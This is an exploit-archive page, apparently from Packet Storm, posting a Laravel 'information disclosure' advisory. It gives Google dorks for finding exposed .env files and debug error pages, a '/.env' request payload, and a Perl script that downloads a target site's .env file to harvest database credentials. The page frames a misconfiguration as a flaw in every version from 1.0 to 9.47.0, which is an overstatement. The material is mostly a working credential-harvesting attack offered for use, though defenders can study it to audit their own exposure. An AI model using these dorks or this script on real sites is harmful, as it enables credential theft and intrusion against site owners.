exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Laravel 9.47.0 Information Disclosure

Laravel 9.47.0 Information Disclosure
Posted Jan 13, 2023
Authored by indoushka

Laravel versions 1.0 to 9.47.0 suffer from database disclosure and information leakage vulnerabilities.

tags | exploit, vulnerability, info disclosure
SHA-256 | 111b6533007bb0d30833a8fec10c414266b1f7095e1f6e0aecfa7bb54a3e2319

Laravel 9.47.0 Information Disclosure

Change Mirror Download
====================================================================================================================================
| # Title : Laravel from Version 1.0 to 9.47.0 MySQL Credential Disclosure Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) |
| # Vendor : https://laravel.com/ |
| # Dork : db_password filetype:env |
"Whoops! There was an error." |
====================================================================================================================================

note :

[+] 1 :

Laravel's default .env file contains some common configuration values that may differ based on whether your application
is running locally or on a production web server. These values are then retrieved from various Laravel configuration files
within the config directory using Laravel's env function.

[+] 2 : This framework In case you do not set a page for error it displays sensitive information about hosting passwords, databases ... etc

[+] Poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Use Payload : /.env = ( Depending on the server's protection, the result of viewing the file is either direct viewing or downloading the file Or not give you anything )

[+] https://127.0.0.1/lala/.env

====================================================================================================================================
| # Title : Laravel from Version 1.0 to 9.47.0 sensitive information disclosure Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) |
| # Vendor : https://laravel.com/ |
| # Dork : "Whoops! There was an error." |
====================================================================================================================================

poc :


[+] This framework In case you do not set a page for error it displays sensitive information about hosting passwords, databases ... etc

[+] Dorking İn Google Or Other Search Enggine .

[+] https://127.0.0.1/lalaland/categorie/avant_apres/

[+] https://youtu.be/tz_w563Nyac

====================================================================================================================================
| # Title : Laravel from Version 1.0 to 9.47.0 Database Disclosure Exploit |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 108.0(32-bit) |
| # Vendor : https://laravel.com |
| # Dork : |
====================================================================================================================================

poc :

[-] Download the configuration file:

The following Perl exploit will attempt to download the .env file
The .env file contains some common configuration values and connection information to the script database
Through the code you can control where to save the downloaded file .

[+] Dorking İn Google Or Other Search Enggine.

[+] save code as perl file : poc.pl

[+] code :

#!/usr/bin/perl -w
# Author : indoushka

use LWP::Simple;
use LWP::UserAgent;

system('cls');
print "\n[+] Laravel from Version 1.0 to 9.47.0 Database Disclosure [+] \n\n";
system('color a');


if(@ARGV < 2)
{
print "[+] Author : indoushka \n\n";
print "[-] How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/.env \n";
print "[+] usage2 : perl $0 localhost /.env \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File=".env";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Fuck you wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/.env");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/.env\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}


Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |
|
=======================================================================================================================================
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close